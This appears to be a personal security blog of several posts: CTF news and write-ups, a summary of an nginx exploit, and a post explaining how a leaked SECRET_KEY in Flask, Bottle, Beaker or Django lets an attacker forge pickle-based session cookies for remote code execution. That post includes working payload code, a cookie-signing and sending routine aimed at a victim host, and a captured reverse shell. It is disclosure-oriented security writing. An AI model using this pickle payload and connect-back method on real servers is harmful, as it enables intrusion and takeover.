Update before the year end

I have not updated my blog recently and I apology myself and friends who care to read my blog for that.

The reason is I began another journey of my life in USA since October. I get admitted to a very good PhD program in Computer Science department of University of Illinois at Urbana Champaign.

My research has been shifted to High Performance Computing field, dealing with code running on Supercomputer. Actually during my stay in Germany at University of Mainz I also spent most of my time on GPUs programming so I am familiar with performance optimization and engineering.

Having said that, my interest in Computer Security has not subsided but instead ascended heavily in one aspect. I have increased my interest in building useful tool and security product and recently very happy in contributing to Capstone a new disassembly framework.

I also learnt about llvm a compiler framework developed at my University and knowing that it's been using for many recent projects (more) make me really exciting. I expect to see more project related to llvm and will be happy to help those.

My friend ask me about my resolution list for new year, however I don't often write down what I want to do as a promise. I tend to do what I want and claim it's done after it is really done. But the direction of the upcoming year is all about building more and more useful products: for people, and for my own research.

Lastly, I want to quote the favorite quote of my supervisor.

No more prizes for predicting the rain...

Token of Appreciation from Whatsapp

Hi Vu,

Sorry for the delay! We have received many emails recently, and we do our best to answer them all. Thank you for your patience.

Thank you very much for reporting the problem and we appreciate much of our users the effort in helping us to improve our product. I've passed along your e-mail to our developers and they are currently working on fixing it.

As a token of appreciation, we would like to give you a lifetime subscription to WhatsApp. This account will remain for free.

In order to do so, we will need your number in full international format (+ Country code Phone number). Please refer to this article for more information.

Thank you!

;) I will update this page with the bug when they have fixed it.

DEFCON 21 # 12

clgt,

Your performance in the DEF CON CTF 2013 qualifier has qualified you a seat at DEF CON CTF 2013 this year in Las Vegas. Congratulations!

..

snip

..

Legitimate Business Syndicate

Yeah :) finally ! It's the first time we are qualified for the largest CTF of the year. I am proud to be a part of the team ! Just a little bit of regret since I couldn't help solve the last challenge, we found the answer when time is already over otherwise we have been rank #5... anyway, it's a motivation to get better and stronger.

Analysis of nginx 1.3.9/1.4.0 stack buffer overflow and x64 exploitation (CVE-2013-2028)

A few days after the release of nginx advisory (CVE-2013-2028), we managed to successfully exploit the vulnerability with a full control over the program flow. However, in order to make it more reliable and useful in real world environment, we explored several program paths found some other attack vectors. Since the exploit for Nginx 32-bit is available on Metasploit now, we decide to publish some of our works here. In this post, you will find a quick analysis for the vulnerability and an exploitation for a 64-bit linux server using the stack based overflow attack vector.

 ... more of my post is available here (just too lazy to repost :))

Math is always useful (or write up of Nullcom prog400)

I bumped to an interesting programming challenge from Nullcom CTF (It's over now, but you can still login to see some challenges):

Given:
N = 80000000000000000
K = 5996159730031
M = 9828343043
Compute the Binomial Coeffcient C(N, K) modulo M.
Flag is the MD5 hash of the answer.

If you do not know Binomial Coefficient, no problem, first link on google, quite a number of formulas to compute C(N,K) there. If you do not want spoiler, stop reading and try first ;).

Now since N, K is pretty large, we need a formula that can compute as quickly as we can. All the formulas in the first wiki page such as i.e. recursive, multiplicative, factorial, are not practical. The recursive formula needs a large memory, and the other two requires some divisions which is not good since we can only perform modulo at the end and big number implementation is always very slow. And even if we can perform some trick to avoid the need of big number or big memory, computing up to O(K) is very slow. They does not look like a good solution (I will try it with CUDA on a free day later)

Digging further, I found an interesting theorem - the Lucas' theorem:

\binom{m}{n}\equiv\prod_{i=0}^k\binom{m_i}{n_i}\pmod p
where
m=m_kp^k+m_{k-1}p^{k-1}+\cdots +m_1p+m_0
and
n=n_kp^k+n_{k-1}p^{k-1}+\cdots +n_1p+n_0

Using this we do not need to perform any big number operation and the cost become something like O(\log{K}) . However we still have a problem. p in the formula must be a prime. Our M value is not,  9828343043= 99137 \times 99139 .

What can we do here ? Let X denote C(N,K), we can find X modulo 99137 and X modulo 99139 using the Lucas' Theorem. But how to find X modulo 99137 \times 99139  ? I quickly realized that this looks like a Chinese Remainder problem and it's actually a variance. Taking some time to review the problem leads me to a solution and It takes less than half a second to produce the flag: 06360772c0125391f19bd80d381afaac. Let's see if you get the same as mine ;).

Solving this problem reminds me the importance of Mathematics, especially number theory. Decided to take a look at this course on my free time.

P0wning IE 9 for the first time !!!

First control the eip, then find a rop sequence, find a shellcode, then spray the heap like never before, then wait for the luck to come, then change esp, then wait for virtualalloc, then call esp, then adjust back esp, then wait for the calculator !!!!! Not "simply done" at all, like the fking h3ll all the 31337 out there got 100000  ??? I spent my weekend just for this. Am I foolish ?

p0wn

p/s: I used an old bug ;) not 0day, do not let the image fool you. Oh and I did bypass alsr + dep ! tricks are always useful !

Python Web Framework Session Management: from LFR to RCE

Django, Bottle, Flask, .. you name it, are python web frameworks that require a SECRET_KEY in their configurable settings. The documents often recommend people to random their own values to use but I hardly find any text describing enough the dangerous when the secret key is guessed or leaked or hacked (local attack or local file read vulnerability in web application). Attacker can use the SECRET_KEY to fake some cookies, csrf token and then find a way to the admin tools .. but that's a lot of work!! "Simply", he can just use it to execute malicious code :) and I will talk about that in this blog post.

Remember the old day you found a bug in PHP that can read a arbitrary file in the webserver (not local file inclusion),... it could be frustrated for you to escalate it to a remote code execution (RCE)! You probably audit most of the application source to find other bugs or useful info such as user password or database information. In this aspect, can we say PHP is more secured ?

When attacking a python web framework, the attacker, knowing your SECRET_KEY from the source code can easily escalate the LFR attack to the RCE, this is at least true in the set of web frameworks that I had examined. The common problem is that they use pickle for serializing and unserializing the signed cookie.

Flask / Werkzeug ( by default, flash use werkzeug session API that's why we have it here. ): Flask implicitly calls session unserialization if the config['SECRET_KEY'] is set to some value and the session_cookie_name (default='session') exists in the cookie, even if there is no session handling code in the web app (how nice, attacker can create a backdoor by adding SECRET_KEY to the config file, and the naive user will just think of it as 'important').

The unserialize function from werkzeug library is called as follows:

     def unserialize(cls, string, secret_key):
        if isinstance(string, unicode):
            string = string.encode('utf-8', 'replace')
        try:
            base64_hash, data = string.split('?', 1)
        except (ValueError, IndexError):
            items = ()
        else:
            items = {}
            mac = hmac(secret_key, None, cls.hash_method)
            # -- snip ---
            try:
                client_hash = base64_hash.decode('base64')
            except Exception:
                items = client_hash = None
            if items is not None and safe_str_cmp(client_hash, mac.digest()):
                try:
                    for key, value in items.iteritems():
                        items[key] = cls.unquote(value)
                except UnquoteError:
                    # -- snip --
            else:
                items = ()
        return cls(items, secret_key, False)

The unserializer check the signature, then perform unquote() on cookie value if the signature is correct. unquote() looks very innocent but in fact it is pickle by default.

    #: the module used for serialization.  Unless overriden by subclasses
    #: the standard pickle module is used.
    serialization_method = pickle
    def unquote(cls, value):
        # -- snip --
            if cls.quote_base64:
                value = value.decode('base64')
            if cls.serialization_method is not None:
                value = cls.serialization_method.loads(value)
            return value
        # -- snip --

Bottle: There is no real secret key option from the default bottle, but one may want to encode his cookie by using the signed cookie feature. Let's see how the encode work:

    def get_cookie(self, key, default=None, secret=None):
        value = self.cookies.get(key)
        if secret and value:
            dec = cookie_decode(value, secret) # (key, value) tuple or None
            return dec[1] if dec and dec[0] == key else default
        return value or default

When secret is presented, and there is some value in the cookie, cookie_decode is called:

def cookie_decode(data, key):
    data = tob(data)
    if cookie_is_encoded(data):
        sig, msg = data.split(tob('?'), 1)
        if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg).digest())):
            return pickle.loads(base64.b64decode(msg))
    return None

Again, pickle is here !

Beaker Session: (any web service can use Beaker as Middle-ware for session, bottle is one that recommend)  Beaker.Session has many features and can be confused: ( there are 3 keys: secret_key, validate_key, encrypted_key )

  • encrypt_key: to encrypt the cookie data and either send back to client (session.type='cookie' / Cookie mode) or store in file (session.type='file' / File mode). If it does not set, the data will not be encrypted !(only base64 encoded). When encrypted_key is presented, the data will be encrypted using a combination of encrypted_key, validate_key(optional) and a random nonce using AES crypto.
  • validate_key: to sign the cookie when Cookie mode is used and to encrypt the data (as mentioned)
  • secret: to sign the cookie when File mode is used. (Why don't they just use the validate_key ? I have no idea )

Of course, when one can read file, he knows all those keys. However, File mode makes it impossible to attack because we have no control on the serialized data i.e. they are stored in local disk. In Cookie mode, it works, even if the cookie is encrypted (since we know how to encrypt lol). You may ask about the random nonce ? luckily, the nonce is part of the session data (!), hence we can fix it with any value we want.

Here is the code that they use to create the session data ( to send back or store as file):

    def _encrypt_data(self, session_data=None):
        """Serialize, encipher, and base64 the session dict"""
        session_data = session_data or self.copy()
        if self.encrypt_key:
            nonce = b64encode(os.urandom(6))[:8]
            encrypt_key = crypto.generateCryptoKeys(self.encrypt_key,
                                             self.validate_key + nonce, 1)
            data = util.pickle.dumps(session_data, 2)
            return nonce + b64encode(crypto.aesEncrypt(data, encrypt_key))
        else:
            data = util.pickle.dumps(session_data, 2)
            return b64encode(data)

We clearly see that the data is pickled here.

Django: The most well-known and sophisticated web framework in Python. And yes, they did a fairly nice job putting up a warning. IMO, it should be marked as 'critical' or 'caution' and in 'red'.

How does django session work ? We can easily find a comprehensive documentation:  To sum up, django gives 3 settings for sessions: db, file and signed_cookie. Again, we are only interested in signed_cookie because we can easily tamper the data. If SESSION_ENGINE is set to "django.contrib.sessions.backends.signed_cookies", we should confirm signed_cookie is used.

Interestingly, the session data will always be unserialized if we supply a "sessionid" in request cookie. Django also gives a very nice example on how the cookie is signed in their code. This makes our job even easier.

Our attack
We have not discussed about how we attack (some of you may have already known it)! But thanks for the patience ! I write about it lastly since it's the same principle for all cases and very simple (yes! given some knowledge).

Here again, we can read any file. To find the config file is not that difficult because python app tends to import from here and there. When we obtain the secret key, we can simply implement (or re-use) the cookie signing procedure of that web framework and sign our malicious code. Because they use pickle.loads() when unserializing, our malicious payload should be the result of pickle.dumps().

pickle.dumps() and loads() is often safe when playing with data such as string, integer, array, hash, dict... But not when it was used on a certain special crafted object ! In fact, one can execute any python code he wants. I write a nice piece of code to convert a working python code to pickle payload. We shall read the code from connback.py (which is a "connect back" shell) and pickle it. If one execute pickle.loads(payload) our connect back shell will be executed.

code = b64(open('connback.py').read())
class ex(object):
    def __reduce__(self):
        return ( eval, ('str(eval(compile("%s".decode("base64"),"q","exec"))).strip("None")'%(code),) )
payload = pickle.dumps(ex())

Now sign (for flask web app):

def send_flask(key, payload):
    data = 'id='+b64(payload)
    mac = b64(hmac(key, '|'+data, hashlib.sha1).digest())
    s = '%(sig)s?%(data)s' % {'sig':mac, 'data':data}

and send it

print requests.get('http://victim/', cookies={'session':s})

In another console:

danghvu@thebeast:~$ nc -lvvv 1337
Connection from x.x.x.x port 1337 [tcp/*] accepted
!P0Wn! Congratulation !!
sh: no job control in this shell
sh-4.1$

What else ?
- So what ? I am safe as long as my secret key is safe ! OK, good for you... but that's like saying, "I leave my key on the roof because I know you can't climb there..."
- OK, so If I do not use this type of session cookie, I will be safe ! This is true, for small app it's much nicer to put the session data in file (in database also a risk if one can tamper it, heard about sql injection ?). But for bigger app with distributed storage, this may violate the "shared nothing architecture" or reduce the performance.
- Then how ? Maybe ask the framework not to use pickle but use a different type of serialization that doesn't allow code execution ? I don't know if one exists, but it is nice if it does. PHP is again more secure? their unserialize() and serialize() does not have this problem. (oh wait..)

Last thing:
WebPy: I check their web for session, and this is what I found:
CookieHandler - DANGEROUS, UNSECURE, EXPERIMENTAL

So good job :D, maybe everyone should do this as well. I do not try further, maybe you can try with webpy and others ;).

Here is what I did, PoC only, so make some effort if you want it to work for you ;)
As a gift, this web app is a vulnerable one, let's see if you can find the lfr bug and escalate it to rce, then you will find your real gift, the flag :).

Update: The source code for the vulnerable web app is now included in github, the secret key is not the same as what is running though.

Update: List of people who have found my "gift": moritz_schlarbexecutex ( server is off for security reason :) )
(If you want your name here, please comment with a proof that you have got it)

Runner Up :)

Runner Up !

:) 'w00d'[::-1]

Tasks

Yes I captured most of the flag ;] and then happily raise our Flag too ;). Need some more binary-workout though.

Apache Logging the POST data

I have been using Mod DumpIO to log the POST data of a HTTP request. However, DumpIO also logs other metadata and debug info that I can't find a way to get rid of. I tried mod_security, but It's too heavy and I do not need a lot of feature. In the end, I decided to write my own apache module.

I call it Mod DumPost . It does only one job, log the POST request and the Form data request (stuff like file upload) to the error log file (why ? because I have not yet figured out how to redirect it to access log :( )

I'm having some CTF-style challenges in my server ;) so It's really handy to see how people are solving it. You can freely use it, if it breaks, let me know.

CTF Snatching The H@T 2012

This morning (4/12/2012), 14 'hacker' teams had gathered at the New World Hotel in Ho Chi Minh city, Vietnam for the final round of the Capture The Flag contest "Snatching The H@T".

The champion is as expected: team "DroppingTheHat" which actually consists of 4 junior members of CLGT team. I know everyone of them, all are young and very talented.
The runner up is the team PiggyBird from Ha Noi, which had played extremely well on all binary challenges, just a bit of practicing on the web technology and they are a team to beat.
The 3rd is again a young member of CLGT, he plays alone and did a really good job.

Despite a small problem at the beginning leading to a delay, the whole event ran smoothly (as reported). It's a pity that I was not there, It must be very fun to watch. Congratulation to all teams, I hope you have learned something from it, see your stronger next year !

A big cheer to the organizer, friends behind the scene, who has helped make it a great event. (a tiny cheer for me ;) too). Sleep well tonight, we will be fighting again very soon..